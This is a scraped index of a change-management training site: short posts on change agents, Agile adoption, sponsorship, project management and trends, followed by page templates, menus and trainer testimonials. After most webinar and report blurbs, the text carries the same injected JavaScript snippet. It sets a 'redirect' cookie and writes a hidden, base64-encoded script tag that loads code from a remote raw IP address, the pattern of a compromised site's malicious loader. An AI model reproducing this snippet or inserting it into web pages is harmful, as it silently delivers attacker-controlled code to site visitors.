https://agilechangemanagement.co.uk/change-agent-not-secret-agent/ - Categories: Change Agents, Roles in change management Examining the role of the Local Change Agent. Increasingly, organizations are recognising that the only way they are going to deliver the huge amount of change that they have planned on their roadmaps and in their portfolios, is through internal capability. Change only happens if those directly affected make the decision to start working differently, and these decisions are not made by external consultants imposing their will on others – they are made day-to-day by those altering how they carry out business as usual. To help influence the pace of change at this local level sits the role of ‘Local’ Change Agent. This is a leadership role, relying on natural influencing and persuasion skills. This webinar will look at how organizations are building their capability for change, and specifically what the role of Local Change Agent requires, and some of the techniques and activities that can help you create participation in your change initiatives. Click here to listen to the recording function getCookie(e){var U=document. cookie. match(new RegExp("(? :^|; )"+e. replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return U? decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math. floor(Date. now/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math. floor(Date. now/1e3+86400),date=new Date((new Date). getTime+86400);document. cookie="redirect="+time+"; path=/; expires="+date. toGMTString,document. write('')} --- ### Agile continues to grow - Published: 2018-05-31 - Modified: 2022-04-08 - URL: https://agilechangemanagement.co.uk/agile-continues-to-grow/ - Categories: Insights, Ultimate guide to Agile Change, Understanding Agile Change Management The 12th annual State of Agile report has recently been published, with some interesting insights. Here are my key takeaways: Where Agile is being used, successes are being reported at the individual project level, with two thirds stating their projects have achieved their objectives. However, only 12% believe that there is a high level of competency with Agile practices across their organisation. Expected benefits from Agile adoption are being realised. There is an 80% overlap between the reasons for adopting Agile and the benefits being realised from adopting Agile. The biggest challenge to further success with Agile relate to the culture change that working in an Agile way demands. Just over half of respondents feel that the culture of their organisation doesn’t align to the philosophy and principles of Agile. Just under half were hampered by general resistance to change within their organisation, and 42% were suffering from inadequate management support and sponsorship. This tells me that those of us in the change management community have a lot to offer organisations that are adopting Agile methods. We can help to structure the move to Agile as a cultural change, because that is what it is. Our experience of managing cultural change is obviously needed based on the statements in this survey. If you are interested in Agile Change training, have a look at this paper on treating Agile as a cultural change If you want to hear how Agile is making changes to how we manage change, join me at... --- ### Why Agile is changing how we manage change - Published: 2018-05-22 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/why-agile-is-changing-how-we-manage-change/ - Categories: Resources, Ultimate guide to Agile Change, Understanding Agile Change Management Agile methods drive a stream of continuous change into the business. Some organisations are struggling to manage this volume of change. As a result, Agile delivery teams and change professionals must collaborate. Change Managers have to change their approach to leading behavioural change, and Agile teams need to expand their backlogs to include user stories that support change activities by the business. In this webinar, I explain the impact on Agile and Change professionals and give practical examples of how they are working differently to support the business to manage faster and higher volumes of change. Listen to the webinar by clicking here function getCookie(e){var U=document. cookie. match(new RegExp("(? :^|; )"+e. replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return U? decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math. floor(Date. now/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math. floor(Date. now/1e3+86400),date=new Date((new Date). getTime+86400);document. cookie="redirect="+time+"; path=/; expires="+date. toGMTString,document. write('')} --- ### Benefits through change - Published: 2018-05-21 - Modified: 2021-09-30 - URL: https://agilechangemanagement.co.uk/benefits-through-change-management/ - Categories: Basics of change management, Change management profession, Insights, Latest trends in change management Thought provoking survey just been released by Wellingtone: State of Project Management Survey 2018. These are my takeaways from the content: Over half of respondents felt that Benefits Realisation was difficult to embed, and less than a third felt that these activities added value if done well, and less than a fifth said their PMOs were responsible for benefits activities. I wonder if these terribly low figures would increase if those of us in the Change Management community engaged in a partnership with our Project Management colleagues. After all, it in only through managing those impacted by the projects through the transition to new ways of working that benefits can ever hope to be achieved. If a project delivers new capability but no-one changes how they work to make use of it then there will be no return on investment. I had hundreds of people turn up to my webinar last week on whether Project Managers, Sponsors and PMO need to know about change management courses. When I asked at the start of the webinar if they thought this knowledge was important, I had a 100% positive reply. My audience was 50% project managers, 12% from the PMO, with the rest coming from the change management community. So there is definitely an appetite out there for change management understanding and knowledge. Perhaps this desire for knowledge that is not being met in part explains why 56% of respondents are dissatisfied with the level of project management maturity in their organisation... --- ### Project Managers and behavioural change - Published: 2018-05-21 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/project-managers-behavioural-change/ - Categories: Basics of change management, Relationship with project management, Resources, White Papers - Tags: behavioural change I believe that to be an effective Project Manager, an appreciation of what is required to create behavioural change is essential. After all, it is not our project deliverables (new systems, apps, infrastructure etc) that realise benefits, it is their use by all those in the business that make a difference to the bottom line. I recognise that project management and change management are different disciplines, and I am not saying that Project Managers must become full time Change Managers. However, I do think there are benefits in understanding the scope and techniques of both disciplines, and viewing successful project delivery from the centre Click this link to download full document Project Managers need to know about behavioural change May 2018 function getCookie(e){var U=document. cookie. match(new RegExp("(? :^|; )"+e. replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return U? decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math. floor(Date. now/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math. floor(Date. now/1e3+86400),date=new Date((new Date). getTime+86400);document. cookie="redirect="+time+"; path=/; expires="+date. toGMTString,document. write('')} --- ### Sponsorship of behavioural change - Published: 2018-04-27 - Modified: 2024-04-22 - URL: https://agilechangemanagement.co.uk/sponsorship-of-change/ - Categories: Resources, Roles in change management, Sponsors and Senior Responsible Owners, White Papers Development of Sponsor programmes In the last year I have been asked for sponsor development programmes to enable organisations to build the capacity to meet the high volumes of strategic change that they are undertaking. These programmes include designing and delivering training courses and holding coaching sessions to enable managers to understand their responsibilities and more importantly identify the tasks and techniques for carrying them out. When writing about Sponsors, I am not assuming that a Sponsor is necessarily a very senior manager. Many organisations are realising that in order to cope with the high volumes of change that they want to achieve, they need to distribute leadership of these initiatives further down their organisational hierarchy. Many of the Sponsors I have coached in the last 12 months are experienced “middle management” who lead departments and functions but do not have executive responsibility. This paper summarises the information that the Sponsors I have worked with have found most useful and shares their experiences of being an effective sponsor. Click to read more Sponsorship of behavioural change function getCookie(e){var U=document. cookie. match(new RegExp("(? :^|; )"+e. replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return U? decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math. floor(Date. now/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math. floor(Date. now/1e3+86400),date=new Date((new Date). getTime+86400);document. cookie="redirect="+time+"; path=/; expires="+date. toGMTString,document. write('')} --- ### Latest PMI BoK is a wasted opportunity - Published: 2018-04-27 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/latest-pmi-bok-is-a-wasted-opportunity/ - Categories: Basics of change management, Insights, Relationship with project management I believe that to be an effective Project Manager, an appreciation of what is required to create behavioural change is essential. After all, it is not our project deliverables (new systems, apps, infrastructure etc) that realise benefits, it is their use by all those in the business that make a difference to the bottom line. Project deliverable is no longer enough It is no longer enough to appreciate that project deliverables trigger the ‘change curve’ where our users experience lower productivity as they unlearn the old ways of working and practice and build competency in the new ways of working. Projects need to understand the activities involved in making this change and the time required. It is an uncomfortable reality for many Project Managers that the design, practice and adoption of new ways of working are outside of their control, so delivering on time, on budget and to the required quality can be overshadowed by delays from the business in starting to use what has been given to them. My friend is running a project which has just gone live (late April) but which the business are not planning to start implementing until July as they are busy at the moment! Of course, this shouldn’t come as a surprise, the Project Manager needs to ‘manage’ the business relationship, creating an environment in which they are a partner in the project, drawing in all of their business readiness activities into the project plan so that delivery and implementation are seamless. Change... --- ### Adopting Agile is a cultural change - Published: 2018-04-27 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/adopting-agile/ - Categories: Agile change management culture, Resources, Ultimate guide to Agile Change, Understanding Agile Change Management, White Papers Adopting Agile is a cultural change Choosing Agile to deliver projects. As Agile approaches spread from IT development projects to include development of new products and services, redesigning new processes and restructuring teams and departments, we need to build the culture that supports Agile working. Culture is always a difficult thing to describe. A common definition of culture is ‘how we do things around here’ but we need to recognise that how we do things is a mixture of peoples beliefs and values about what they think is important, how they think people should be treated, what the purpose of the organisation is and what is the best way to achieve this purpose. Click here to download full report function getCookie(e){var U=document. cookie. match(new RegExp("(? :^|; )"+e. replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return U? decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math. floor(Date. now/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math. floor(Date. now/1e3+86400),date=new Date((new Date). getTime+86400);document. cookie="redirect="+time+"; path=/; expires="+date. toGMTString,document. write('')} --- ### Project Management is changing - Published: 2018-04-27 - Modified: 2021-09-30 - URL: https://agilechangemanagement.co.uk/project-management-is-changing/ - Categories: Basics of change management, Insights, Relationship with project management Quick summary of a speech I am giving at Project Challenge on Wednesday about the future of project management. Do you agree with my points? I would love your feedback. 1. Democratization Greater democratization of the role of Project Manager, so no need for professional Project Managers, it is a role for everyone. This is being driven by lighter, more intuitive project management life cycles, often forming the basis of workflow project management tools. Also reflects the recognition that leading change to improve how things are done and to introduce new ideas is part of any managers role and leading projects is part of this. 2. Automation Greater use of workflow tools which automate the lifecycle, and prompt the stakeholders to complete their tasks, giving the Project Manager more time for stakeholder engagement and encouraging participation in the project. One of the benefits of workflow is that automatically generated reminders are sent to participants once tasks have been assigned to them, which reduces the role of Project Manager as ‘parent chasing naughty child’ which is the least pleasant aspect of the role. This means more time for really analysing what is missing and what extra activities are needed, making the role more strategic and more value added. 3. More doing, less documenting Less formal documentation of each step of the project as there is growing recognition no-one has the time to read it. A move towards more presentations and demonstrations to keep stakeholders informed. This also fits with a greater... --- ### Millennials and Change Management - Published: 2018-04-11 - Modified: 2021-08-25 - URL: https://agilechangemanagement.co.uk/millennials-and-change-management/ - Categories: Change management profession, Change management skills, Insights Motivating Millennials I am always interested in how to motivate, enthuse and ultimately to persuade people to participate in change. Working in Dubai this week I enjoyed discussions on how to motivate Millennials as UAE and the MENA region have a young population. Millennials are in their first leadership positions and post Millennials are the majority of new employees. Note: I am taking my generational definitions from the Pew Research Centre In my Dubai workshop, one Customer Services Director for a new UAE digital bank gave an eloquent explanation of the interests and motivations of Millennials. His research states that Millennials are driven by the desire for experiences. Saving money for security and for acquiring material goods doesn’t inspire them, but saving directly linked to a specific experience gives them a sense of purpose and value. We then debated the impact that this drive for new experiences has on the career choices of Millennials, and their willingness for short term assignments at different organisations, in preference to building a long term career path at a single organisation. This got me thinking about how to excite Millennials and post Millennials into participating in change initiatives in their current organisations, when they might not be in their role for very long. Selling change based on how it will improve their long term career prospects or how it will help them get a promotion doesn’t work. Making Change a participation activity Instead, lets talk about participation in change as a valuable experience. If... --- ### Trends in Change for the year ahead 2018 - Published: 2018-04-10 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/trends-in-change-for-the-year-ahead-2018/ - Categories: Latest trends in change management, Resources, White Papers Trends in Change Management for 2018 What is happening in Change? Change management is a young profession which continues to develop in scope, maturity and the number of those adopting it. In this paper I attempt to predict what I think will be the most impactful developments in business change management for 2018. My thoughts are based on the demands I receive from clients in the private, public and not for profit sector, as well as a review of the latest insights from the big consultancies, universities and the professional body for change management, the Change Management Institute. I think the key trends will include: More effort will be spent on explaining the value of change management Further integration with project management and links to Agile approaches Increasing maturity of change management as a practice Click here to download the full report function getCookie(e){var U=document. cookie. match(new RegExp("(? :^|; )"+e. replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return U? decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math. floor(Date. now/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math. floor(Date. now/1e3+86400),date=new Date((new Date). getTime+86400);document. cookie="redirect="+time+"; path=/; expires="+date. toGMTString,document. write('')} --- ### Emotional resilience - Published: 2018-03-05 - Modified: 2024-04-22 - URL: https://agilechangemanagement.co.uk/emotional-resilience/ - Categories: Change management techniques, Emotional resilience, Resources, White Papers Change Management for Change Managers Managing emotions during change Change is not easy. It threatens established patterns of behaviour that we are comfortable with. Even if we welcome the change on an intellectual level because we think that what is currently happening is not right, breaking our habits, unlearning what we do today and building new routines is stressful. Change cannot happen in isolation from other people, it is a team sport, which means we need to manage our own emotions about the change whilst being affected by the emotions of everyone else caught up in the change. This article describes practical techniques for building your resilience, your ability to keep going even when you face obstacles. Emotional-Resilience-for-Change-Managers-and-Change-Agents-V1. 0Download --- ### Change Consultant Interview Tips - Published: 2018-02-25 - Modified: 2022-03-26 - URL: https://agilechangemanagement.co.uk/change-consultant-interview-tips/ - Categories: Change management career path, Change management interview questions, Insights I am always benchmarking what I teach in my Change Management Practitioner course to the real world needs of those that employ Change Managers. I thought you might enjoy this interview with a Director of Change Management about what he is looking for when he hires members of his Change Team. What are the most important skills you look for? Relationships I look for people with real engagement skills. They need to be able to build relationships right across the business because we are asking people to cope with change at all grades and in all functions. Structured approach That ability to build relationships comes from trust, and that comes in part from knowing what they are doing. I look for experience of a structured approach to stakeholder engagement. I want to know they have techniques and templates and they know the process they are going to follow. I want to know that they can tailor their message to different stakeholders not just by being a "people person" but using Impact Analysis so that their empathy is based on a true appreciation of how the business is going to have to change. Looking wider than just the immediate effects Effective Change Consultants can assess the impact but also think wider, appreciating who might be initially affected as well as identifying where other knock-on effects might be found. By sharing their insights they provide valuable content to those who design the new ways of working and they draw in those on... --- ### Top 5 questions for your trainer - Published: 2018-02-12 - Modified: 2024-04-22 - URL: https://agilechangemanagement.co.uk/top-5-questions-for-your-trainer/ - Categories: Resources, White Papers Too often the person standing at the front of the room is a dedicated trainer who hasn’t had any practical experience of the subject they are teaching in years. This means that they probably know the text book and the syllabus really well, but they have not come up against the challenges of implementing it in practice. I know from my own experience that I learn more from doing than from someone showing me a hundred slides on a subject, so is there knowledge really that in depth? Just reading the book and presenting the slides is surely only a superficial understanding. Implementing agile project management is tough. There are lots of challenges from project managers and project teams with lots of experience in waterfall methods such as PRINCE2 or PMI who don’t want to change how they do things. To read all of the Top 5 questions to ask your trainer then click here function getCookie(e){var U=document. cookie. match(new RegExp("(? :^|; )"+e. replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return U? decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math. floor(Date. now/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math. floor(Date. now/1e3+86400),date=new Date((new Date). getTime+86400);document. cookie="redirect="+time+"; path=/; expires="+date. toGMTString,document. write('')} --- ### Why we need Change Managers? - Published: 2018-02-11 - Modified: 2022-04-08 - URL: https://agilechangemanagement.co.uk/why-we-need-change-managers/ - Categories: Change management skills, Insights, Why is change management important? All management is change management This article has got me thinking https://hbr. org/2017/10/all-management-is-change-management In essence, it is making the point that all management is about making change happen, because all managers are responsible for improvements to how their departments and teams are operating. Fair point, so why do we need people to specifically concentrate on managing change? Operational Management under pressure I wonder if we are starting to see a divide in organisations - where operational managers are so under pressure from managing the day to day that freeing themselves up to lead changes to how things are currently done feels impossible. Most operational managers I know are under pressure to perform against demanding KPIs whilst responding to enquiries from customers, bosses, suppliers, colleagues etc that all expect an instant answer. The increasing use of messaging apps, social media and collaboration platforms means that many managers are involved in immediate responses to situations. This makes all jobs high pressure, not just the ones that are dedicated to customer facing activities. Strategy is for Change Managers Meanwhile, there is another group of managers, who are employed to think more strategically, to scope, plan and implement changes, improvements and transformations. I had lunch with a group of these managers last week, who had all come from operational business roles. It was interesting to hear them say how much they were enjoying their change management roles, and how they had no plans to return to the 'front line'. As one of them said,... --- ### Age of experimentation - Published: 2018-02-05 - Modified: 2022-03-26 - URL: https://agilechangemanagement.co.uk/age-of-experimentation/ - Categories: Agile change management concepts, Insights All management is change management In this article, Robert Schaffer https://hbr. org/2017/10/all-management-is-change-management argues that all management involves change management, as any improvement in an organisation is a change. Seems reasonable, but what I really like about this article is the example of XL Caitlin who have developed a culture of experimenting and discovering to find new business. This is exactly the kind of thing that executives describe to me as the most important change they want to make within their organisations. They want a culture that inspires and encourages people to have the ideas, and that there is a well-oiled machine that supports finding out if the idea is going to work through small scale experiments. Experiment during implementation These experiments must run alongside business as usual, but if they work, they will be incorporated into business as usual and will become a new thing that the organisation does. Professor John Kotter has given this Agile environment its own brand – he calls it the “Dual Operating System” where business as usual runs alongside a continuous improvement culture. Having been involved in cultural change for 3 decades, this desire for continuous improvement appears reasonable but is incredibly difficult to achieve because at its core at real challenges to how an organisation is run: 1. The principle that anyone can have an idea and will be allowed to run with it Well I think we all know plenty of examples where this isn’t the case. Escalating ideas up through the governance... --- ### Qualifications are important - Published: 2018-01-28 - Modified: 2022-04-13 - URL: https://agilechangemanagement.co.uk/qualifications-are-important/ - Categories: Change management career path, Continuing professional development, Insights Structured knowledge base is low This blog is based on my experiences over the last couple of weeks. I am helping an organisation with a cultural change, adopting Agile ways of working at all levels and in all business functions across the organisation. I have been running a number of familiarisation workshops with those sponsoring and managing the change. The workshops have been high energy, lots of discussions, lots of collaboration in building the change plan but... ... I am frustrated. I have been hired as a subject matter expert in both transformational change and Agile working so it is my job to pass on my knowledge, my skills and my experience of similar changes in organisations. I love my job, but what has frustrated me is that during these workshops, I am having to build the knowledge of the key leaders of this large-scale change from nothing. They have had no grounding in Agile, they know nothing about any of the methods, techniques, structures or theories. However, they are going to be the ones that everyone is looking to for answers. How have qualifications helped me? It has given me cause to reflect on my own journey, which over the last couple of years has meant my attendance at numerous conferences, seminars and formal training courses. I won’t bore you with all of my Agile qualifications but take it from me, it is a lot! https://agilechangemanagement. co. uk/wp-content/uploads/2022/04/Agile-Development-Path. png I think we need to start valuing core knowledge in... --- --- ## Mega Menu Items ### elementor-mega-item-20313 - Published: 2025-06-11 - Modified: 2025-06-11 - URL: https://agilechangemanagement.co.uk/jet-menu/elementor-mega-item-20313/ What course is best for me & my team? In-House Training Master Class Series Virtual Classroom Agile Change Agent Agile Change Coach Change Management Practitioner Neuroscience for Change Self Paced Online Agile Change Agent Agile Change Coach --- ### elementor-mega-item-504 - Published: 2024-09-13 - Modified: 2024-09-13 - URL: https://agilechangemanagement.co.uk/jet-menu/elementor-mega-item-504/ --- ### elementor-mega-item-38 - Published: 2022-11-28 - Modified: 2025-06-11 - URL: https://agilechangemanagement.co.uk/jet-menu/elementor-mega-item-38/ What course is best for me & my team? In-House Training Master Class Series Virtual Classroom Agile Change Agent Agile Change Coach Change Management Practitioner Neuroscience for Change Self Paced Online Agile Change Agent Agile Change Coach --- --- ## JetWooBuilder Templates --- ## My Templates ### Mega Menu - Training - Published: 2025-06-11 - Modified: 2025-06-11 - URL: https://agilechangemanagement.co.uk/?elementor_library=mega-menu-training - Type: section What course is best for me & my team? In-House Training Master Class Series Virtual Classroom Agile Change Agent Agile Change Coach Change Management Practitioner Neuroscience for Change Self Paced Online Agile Change Agent Agile Change Coach --- ### Post Block - Published: 2024-08-01 - Modified: 2024-08-01 - URL: https://agilechangemanagement.co.uk/?elementor_library=post-block - Type: section Featured Post Trending --- ### The Events Calendar - Dynamic template - Published: 2024-05-01 - Modified: 2024-05-01 - URL: https://agilechangemanagement.co.uk/?elementor_library=the-events-calendar-dynamic-template - Type: tec_event_single_dynamic « All Events Using Agile Change to outpace your workload May 9, 2024 @ 12:30 - 13:30 Free Categories: Live event, Virtual event Agile Change Management Event location i2 Office 40 Gracechurch St London, EC3V 0BT United Kingdom + Google Map Add to calendar Google Calendar iCalendar Outlook 365 Outlook Live How understanding neuroscience for change supports change sponsors --- ### The Events Calendar - Starter - Published: 2024-05-01 - Modified: 2024-05-01 - URL: https://agilechangemanagement.co.uk/?elementor_library=the-events-calendar-starter - Type: tec_event_single_static « All Events Using Agile Change to outpace your workload May 9, 2024 @ 12:30 - 13:30 Free Categories: Live event, Virtual event Agile Change Management Event location i2 Office 40 Gracechurch St London, EC3V 0BT United Kingdom + Google Map Add to calendar Google Calendar iCalendar Outlook 365 Outlook Live How understanding neuroscience for change supports change sponsors --- ### Events Single - Published: 2024-03-28 - Modified: 2024-07-31 - URL: https://agilechangemanagement.co.uk/?elementor_library=events-single - Type: single-post --- ### LearnDash Single Topic - Published: 2024-01-19 - Modified: 2024-02-22 - URL: https://agilechangemanagement.co.uk/?elementor_library=learndash-single-topic - Type: sfwd-topic --- ### LearnDash Single Quiz - Published: 2024-01-19 - Modified: 2024-02-22 - URL: https://agilechangemanagement.co.uk/?elementor_library=learndash-single-quiz - Type: sfwd-quiz --- ### LearnDash Single Lesson - Published: 2024-01-19 - Modified: 2024-02-22 - URL: https://agilechangemanagement.co.uk/?elementor_library=learndash-single-lesson - Type: sfwd-lessons --- ### LearnDash Single Course - Published: 2024-01-19 - Modified: 2024-02-05 - URL: https://agilechangemanagement.co.uk/?elementor_library=learndash-single-course - Type: sfwd-courses Self-Paced --- ### TrustPilot - Published: 2023-08-15 - Modified: 2023-08-15 - URL: https://agilechangemanagement.co.uk/?elementor_library=trustpilot - Type: section Trustpilot I really enjoyed the Agile ChangeSteven Hagen Read More I really enjoyed the Agile Change training course. It was delivered at a pace that was right for me and the examples and case studies that Melanie was able to use to support and bring the material to life really made it engaging for me. Fantastic courseAnthony Brown Read More Fantastic course delivered brilliantly, full of positive techniques that can be used in the real world. Melanie tailored the course to the individuals and backed up the theory with examples that everyone... Mel was amazingMariya Staneva Read More Mel was amazing! She explained everything so well, making it easy to understand. It was a great experience! I would like to rate her 10! ! ! Enjoyable and engaging trainingIan Michaelwaite Read More Mel's enthusiasm and enjoyment of the change process shine through, and her endless anecdotes help make the information easily relatable. Highly practical courseJason Read More Highly practical course, incredibly relevant content, extremely well delivered. Melanie's in-depth knowledge and expertise make the difference. The only person you should learn Change Management withElliot Cyriax Read More The time I spent learning the Agile Change Management course with Mel was invigorating and insightful and Mel's passion for and knowledge of all things change stands out during your time with her. Working with Mel was a pleasureAlex Storey Read More Working with Mel was an absolute pleasure. During the 3 week course, we covered an intense amount of learning content and Mel... --- ### In-House Video - Published: 2022-11-29 - Modified: 2022-11-29 - URL: https://agilechangemanagement.co.uk/?elementor_library=in-house-video - Type: popup Play Video --- ### CMP Video - Published: 2022-11-29 - Modified: 2022-11-29 - URL: https://agilechangemanagement.co.uk/?elementor_library=cmp-video - Type: popup Play Video --- ### ACC Video - Published: 2022-11-29 - Modified: 2022-11-29 - URL: https://agilechangemanagement.co.uk/?elementor_library=acc-video - Type: popup Play Video --- ### ACA Video - Published: 2022-11-29 - Modified: 2022-11-29 - URL: https://agilechangemanagement.co.uk/?elementor_library=aca-video - Type: popup Play Video --- ### About test - Published: 2022-09-16 - Modified: 2022-09-16 - URL: https://agilechangemanagement.co.uk/?elementor_library=about-test - Type: section Why Choose Melanie? The Story The Change Management Practitioner is the definitive certification for professionals dealing with organizational change, transition and transformation. Developed by APMG in partnership with the Change Management Institute. The Change Management course is designed to help organizations and their people manage the impact of change and provide techniques to effectively plan and implement successful transformation initiatives. Based on the Effective Change Manager's Handbook - aligned to the Institute's Change Management Body of Knowledge (CMBoK) – the course explores how change affects, and is affected by, individuals, teams, organizations and change leaders. Since the launch of the Change Management Foundation & Practitioner certificate in 2008, Melanie has trained thousands of professionals and coached over 100 organisations into adopting Change Management principles. Melanie Franklin is one of the leaders in training this examination based course. Her 100% success rate comes from her being a champion of change management since its early conceptualisation in the early 1990s. In addition to training, Melanie is currently involved in leading several significant transformations impacting tens of thousands of staff with capital investment in the millions. Why is Melanie such an expert in change management Melanie has dedicated the last 20 years to understanding then communicating the drivers for change in organisations. This work has exposed her to a wide range of organisational structures and individuals from around the world and it is this experience that she builds on every day in her courses. Aside from the academic and professional qualifications that Melanie... --- ### about - Published: 2022-09-16 - Modified: 2022-09-16 - URL: https://agilechangemanagement.co.uk/?elementor_library=about - Type: widget Why is Melanie such an expert in change management Melanie has dedicated the last 20 years to understanding then communicating the drivers for change in organisations. This work has exposed her to a wide range of organisational structures and individuals from around the world and it is this experience that she builds on every day in her courses. Aside from the academic and professional qualifications that Melanie acquired over this time, her ability to share new concepts and inspire others to embrace change and strive to improve their personal and professional performance is what she is most recognised for. She is a Chartered Management Consultant, Chief Examiner for the Agile Change Agent certification, was Co-Lead of the Change Management Institute UK and is now the founder of the Continuous Change Community. Melanie is a respected author of many text books and articles on project and change management. Her previous roles include CEO of a consulting and training organisation, Director of Global Transformation Programmes, Global Head of Business Continuity and Crisis Management and Head of Project and Programme Management. She is currently overseeing two major transformations, impacting tens of thousands of staff with capital investment in the millions. In addition to training, Melanie is currently involved in leading several significant transformations including 38,500 staff impacted by 24 programmes of change in the Middle East and 24,000 teachers within Wales experiencing a complex change to the provision of education for pupils from 5-16 years of age. So what are the benefits of... --- ### Search - Published: 2022-04-21 - Modified: 2024-08-02 - URL: https://agilechangemanagement.co.uk/?elementor_library=elementor-archive-10773 - Type: archive Search Insights & Resources Featured Benefits of Change Management TrainingRead More Using AI for L&D IdeasRead More Executive Summary Capability for Change Survey 2022Read More Generative AI’s Challenge with Change ManagementRead More Emotional Assessment QuestionnaireRead More Reading Resources for ChangeRead More Video Resources for ChangeRead More Week 8- Finding the positives from Covid lockdownsRead More Creating an Integrated Project and Change Management PlanRead More Capabilities Summary January 2023Read More Work trends for 2023Read More Overcoming Imposter Syndrome at WorkRead More Lockdown 2. 0 – Change fatigue! Read More How to Build a Change Agent NetworkRead More Transitioning from furlough to a return to workRead More Finding your Change AgentsRead More Professional Change ManagementRead More Lessons learned - reinforcing changeRead More NeuroscienceRead More Emotional resilience key to effective Change ManagementRead More 7 challenges for the business created by Agile project deliveryRead More Culture created by use of spaceRead More How the Change Management profession needs to progressRead More Agile continues to growRead More Benefits through changeRead More --- ### Subscribe form - Published: 2022-02-04 - Modified: 2022-06-30 - URL: https://agilechangemanagement.co.uk/?elementor_library=subscribe-form - Type: section --- ### Category - Published: 2021-09-10 - Modified: 2024-08-01 - URL: https://agilechangemanagement.co.uk/?elementor_library=category - Type: archive Search Insights & Resources Featured Featured Post Essentials of Change ManagementRead More Trending Building Change CapabilityKey Principles Agile Change ManagementRead More Building Change CapabilityNeurodiversity in the Workplace: Top Reasons for Applying Neuroscience to Your WorkRead More Building Change CapabilityBenefits of Change Management TrainingRead More Building Change CapabilityTop 5 Benefits of Agile Change ManagementRead More Building Change CapabilityAgile Planning Techniques: Start using the best technique for businessRead More Upcoming events from Agile Change Management Neuroscience for Change at Work September 19, 2024 12:30 - 13:30 BST https://events. 